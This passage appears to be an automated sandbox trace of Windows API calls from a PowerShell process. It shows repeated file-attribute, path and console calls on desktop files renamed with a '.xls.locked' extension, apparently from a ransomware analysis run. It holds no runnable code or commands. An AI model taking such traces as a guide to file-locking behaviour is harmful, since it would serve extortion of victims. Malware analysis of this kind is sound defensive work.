[4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb2, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.451] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb1, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.451] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb2, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb2, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.452] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\9hropzxqd4oougnfchg.xls.locked")) returned 0x20 [0126.452] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\9hropzxqd4oougnfchg.xls.locked")) returned 0x20 [0126.452] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls.locked", nBufferLength=0x105, lpBuffer=0x99ae248, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls.locked", lpFilePart=0x0) returned 0x51 [0126.452] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls.locked", nBufferLength=0x105, lpBuffer=0x99ae20c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls.locked", lpFilePart=0x0) returned 0x51 [0126.453] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb2, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.453] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls", nBufferLength=0x105, lpBuffer=0x99ae4f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls", lpFilePart=0x0) returned 0x4a [0126.453] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5e8, nSize=0x100 | out: lpBuffer="\x80") returned 0x0 [0126.453] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb3, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.453] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb2, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.453] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb3, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb3, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.455] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb3, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.455] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5e8, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.455] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb4, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.455] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb3, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.455] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb4, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb4, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.457] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb4, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.457] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5e8, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.457] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb5, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.457] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb4, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.457] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb5, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb5, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.458] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb5, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.458] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5e8, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.459] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb6, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.459] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb5, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.459] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb6, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb6, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.468] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb6, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.469] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5e8, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.469] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb7, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.469] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb6, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.469] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb7, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb7, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.471] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb7, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.474] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x99adee0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0126.474] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae058) returned 1 [0126.474] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\9hropzxqd4oougnfchg.xls.locked"), fInfoLevelId=0x0, lpFileInformation=0x69f3620 | out: lpFileInformation=0x69f3620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9561ea, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0xe9561ea, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0xe97d97a, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0xd594)) returned 1 [0126.474] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae054) returned 1 [0126.474] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls.locked", nBufferLength=0x105, lpBuffer=0x99adb34, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls.locked", lpFilePart=0x0) returned 0x51 [0126.474] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\9hropzxqd4oougnfchg.xls.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x878 [0126.475] GetFileInformationByHandle (in: hFile=0x878, lpFileInformation=0x99ae0a0 | out: lpFileInformation=0x99ae0a0) returned 1 [0126.475] CloseHandle (hObject=0x878) returned 1 [0126.476] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae710 | out: lpConsoleScreenBufferInfo=0x99ae710) returned 1 [0126.477] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae718 | out: lpMode=0x99ae718) returned 1 [0126.477] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68c0ccc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae710, lpReserved=0x0 | out: lpBuffer=0x68c0ccc*, lpNumberOfCharsWritten=0x99ae710*=0x2) returned 1 [0126.490] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae6b4 | out: lpConsoleScreenBufferInfo=0x99ae6b4) returned 1 [0126.491] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae708 | out: lpConsoleScreenBufferInfo=0x99ae708) returned 1 [0126.491] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae710 | out: lpMode=0x99ae710) returned 1 [0126.492] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68c0ccc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae708, lpReserved=0x0 | out: lpBuffer=0x68c0ccc*, lpNumberOfCharsWritten=0x99ae708*=0x2) returned 1 [0126.496] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae718 | out: lpConsoleScreenBufferInfo=0x99ae718) returned 1 [0126.497] GetConsoleOutputCP () returned 0x1b5 [0126.497] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0126.497] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae568 | out: lpConsoleScreenBufferInfo=0x99ae568) returned 1 [0126.498] GetConsoleOutputCP () returned 0x1b5 [0126.498] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae504, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae504) returned 0 [0126.498] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae570 | out: lpMode=0x99ae570) returned 1 [0126.499] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a3b858*, nNumberOfCharsToWrite=0x41, lpNumberOfCharsWritten=0x99ae568, lpReserved=0x0 | out: lpBuffer=0x6a3b858*, lpNumberOfCharsWritten=0x99ae568*=0x41) returned 1 [0126.503] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae570 | out: lpMode=0x99ae570) returned 1 [0126.504] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68c0ccc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae568, lpReserved=0x0 | out: lpBuffer=0x68c0ccc*, lpNumberOfCharsWritten=0x99ae568*=0x2) returned 1 [0126.508] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae670 | out: lpConsoleScreenBufferInfo=0x99ae670) returned 1 [0126.508] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae678 | out: lpMode=0x99ae678) returned 1 [0126.508] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68c0ccc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae670, lpReserved=0x0 | out: lpBuffer=0x68c0ccc*, lpNumberOfCharsWritten=0x99ae670*=0x2) returned 1 [0126.513] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae708 | out: lpConsoleScreenBufferInfo=0x99ae708) returned 1 [0126.514] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae710 | out: lpMode=0x99ae710) returned 1 [0126.514] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68c0ccc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae708, lpReserved=0x0 | out: lpBuffer=0x68c0ccc*, lpNumberOfCharsWritten=0x99ae708*=0x2) returned 1 [0126.518] GetConsoleOutputCP () returned 0x1b5 [0126.519] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae528, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae528) returned 0 [0126.519] GetConsoleOutputCP () returned 0x1b5 [0126.519] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5c0) returned 0 [0126.519] GetConsoleOutputCP () returned 0x1b5 [0126.520] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae59c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae59c) returned 0 [0126.520] GetConsoleOutputCP () returned 0x1b5 [0126.520] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae59c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae59c) returned 0 [0126.520] GetConsoleOutputCP () returned 0x1b5 [0126.521] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae528, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae528) returned 0 [0126.521] GetConsoleOutputCP () returned 0x1b5 [0126.521] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5c0) returned 0 [0126.521] GetConsoleOutputCP () returned 0x1b5 [0126.521] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae59c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae59c) returned 0 [0126.522] GetConsoleOutputCP () returned 0x1b5 [0126.522] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae59c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae59c) returned 0 [0126.522] GetConsoleOutputCP () returned 0x1b5 [0126.522] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae528, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae528) returned 0 [0126.522] GetConsoleOutputCP () returned 0x1b5 [0126.523] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5c0) returned 0 [0126.523] GetConsoleOutputCP () returned 0x1b5 [0126.523] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae59c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae59c) returned 0 [0126.523] GetConsoleOutputCP () returned 0x1b5 [0126.524] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae59c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae59c) returned 0 [0126.524] GetConsoleOutputCP () returned 0x1b5 [0126.524] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae528, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae528) returned 0 [0126.525] GetConsoleOutputCP () returned 0x1b5 [0126.525] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5c0) returned 0 [0126.525] GetConsoleOutputCP () returned 0x1b5 [0126.526] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae59c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae59c) returned 0 [0126.526] GetConsoleOutputCP () returned 0x1b5 [0126.526] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae59c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae59c) returned 0 [0126.526] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae664 | out: lpConsoleScreenBufferInfo=0x99ae664) returned 1 [0126.527] GetConsoleOutputCP () returned 0x1b5 [0126.527] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae600, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae600) returned 0 [0126.527] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae66c | out: lpMode=0x99ae66c) returned 1 [0126.528] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a3c6f8*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae664, lpReserved=0x0 | out: lpBuffer=0x6a3c6f8*, lpNumberOfCharsWritten=0x99ae664*=0x77) returned 1 [0126.529] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae66c | out: lpMode=0x99ae66c) returned 1 [0126.535] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68c0ccc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae664, lpReserved=0x0 | out: lpBuffer=0x68c0ccc*, lpNumberOfCharsWritten=0x99ae664*=0x2) returned 1 [0126.539] GetConsoleOutputCP () returned 0x1b5 [0126.540] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae660, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae660) returned 0 [0126.540] GetConsoleOutputCP () returned 0x1b5 [0126.542] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae660, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae660) returned 0 [0126.542] GetConsoleOutputCP () returned 0x1b5 [0126.543] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae660, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae660) returned 0 [0126.543] GetConsoleOutputCP () returned 0x1b5 [0126.544] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae660, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae660) returned 0 [0126.544] GetConsoleOutputCP () returned 0x1b5 [0126.545] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5ec) returned 0 [0126.545] GetConsoleOutputCP () returned 0x1b5 [0126.545] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5ec) returned 0 [0126.545] GetConsoleOutputCP () returned 0x1b5 [0126.546] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5ec) returned 0 [0126.546] GetConsoleOutputCP () returned 0x1b5 [0126.546] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5ec) returned 0 [0126.546] GetConsoleOutputCP () returned 0x1b5 [0126.546] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5ec) returned 0 [0126.546] GetConsoleOutputCP () returned 0x1b5 [0126.547] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5ec) returned 0 [0126.547] GetConsoleOutputCP () returned 0x1b5 [0126.547] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5ec, dwFlags=0x2 | out: lpSrc=0x1b5, 